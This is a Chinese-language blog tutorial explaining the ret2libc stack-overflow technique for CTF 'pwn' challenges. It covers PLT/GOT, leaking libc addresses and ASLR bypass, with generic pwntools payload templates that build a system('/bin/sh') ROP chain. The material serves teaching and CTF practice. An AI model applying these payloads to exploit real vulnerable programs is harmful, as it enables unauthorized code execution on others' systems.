ret2libc 题型详解

1. 攻击背景与原理

当程序启用 NX(No-eXecute) 保护时,栈、堆等内存区域不可执行,传统的 shellcode 注入失效。此时,攻击者可通过覆盖返回地址,跳转到程序本身或动态库(如 libc)中的已有函数(如 systemexecve),实现攻击。

核心思路
通过栈溢出覆盖返回地址,使其跳转到 libc 中的函数(如 system)并传递参数(如 /bin/sh)。

2. PLT 和 GOT 的作用

PLT(Procedure Linkage Table)
程序调用外部函数(如 puts)时,实际跳转到 PLT 中的条目。PLT 负责延迟绑定:首次调用函数时,PLT 会通过动态链接器解析函数的真实地址,并更新到 GOT 中。

GOT(Global Offset Table)
存储外部函数的真实地址。首次调用前,GOT 条目指向 PLT 中的解析代码;解析完成后,GOT 直接保存函数地址。

动态链接流程示例:
// 代码中调用 puts("hello");
// 实际执行流程:
1. call puts@PLT          // 跳转到 PLT 条目
2. PLT 检查 GOT 中 puts 的地址:
   - 若未解析(GOT 指向 PLT 解析代码),则调用动态链接器解析 puts 的真实地址,并更新 GOT。
   - 若已解析(GOT 直接存地址),则跳转到该地址。
3. ret2libc 攻击步骤
1) 泄漏 libc 函数地址

通过溢出漏洞,调用 puts@PLT 输出某个函数(如 puts)在 GOT 中的地址。

结合泄漏的地址和 libc 版本,计算出 libc 基址,进而得到 system 和 /bin/sh 的地址。

示例 Payload 结构(64位)

payload = b'A' * offset          # 填充缓冲区
payload += pop_rdi_ret           # 将参数放入 RDI 寄存器
payload += p64(puts_got)         # 参数:puts 的 GOT 地址
payload += p64(puts_plt)         # 调用 puts@PLT,输出 puts 的真实地址
payload += p64(main_addr)        # 返回 main 函数,进行二次溢出
2) 计算 libc 基址
leaked_puts_addr = u64(received_data[:6].ljust(8, b'\x00'))
libc_base = leaked_puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
3) 执行 system("/bin/sh")

构造第二次溢出,跳转到 system 并传入 /bin/sh 地址:

payload = b'A' * offset
payload += pop_rdi_ret           # 参数寄存器 RDI
payload += p64(bin_sh_addr)      # 参数:/bin/sh 地址
payload += p64(system_addr)      # 调用 system
4. 关键地址获取方法

PLT 地址
使用 objdump -d ./binary 或 gdb 命令 disas puts@plt 查看。

GOT 地址
通过 objdump -R ./binary 或 readelf -r ./binary 获取。

libc 函数偏移
使用 libc = ELF("/path/to/libc.so.6")(通过工具或题目提供的 libc 确定)。

5. 32位 vs 64位差异

32位:参数通过栈传递。

payload += p32(system_addr)    # 返回地址
payload += p32(0xdeadbeef)     # 伪造的返回地址(随意)
payload += p32(bin_sh_addr)    # 参数

64位:参数通过寄存器传递(如 RDI, RSI),需用 ROPgadget 找到 pop rdi; ret 等指令。

6. 对抗 ASLR

若系统启用 ASLR,libc 基址随机化,需通过第一次溢出泄漏函数地址,计算基址后二次攻击。

总结

ret2libc 的核心是复用已有代码(如 system)绕过 NX。

PLT/GOT 是动态链接的关键机制,PLT 用于跳转,GOT 存储真实地址。

攻击需结合栈溢出、ROP 链构造和 libc 基址计算。

工具推荐

ROPgadget:查找 gadget。

pwntools:动态构造 payload。

LibcSearcher:根据泄漏地址查找 libc 版本。

时光匆匆,一篇博客又到了结尾处啦。真心感谢每一位愿意花时间阅读我文字的朋友,希望你们每天都过得开开心心的,生活顺顺利利哦,咱们下次再通过文字‘相遇’呀。

你可能感兴趣的:(PWN,网络安全,ret2libc)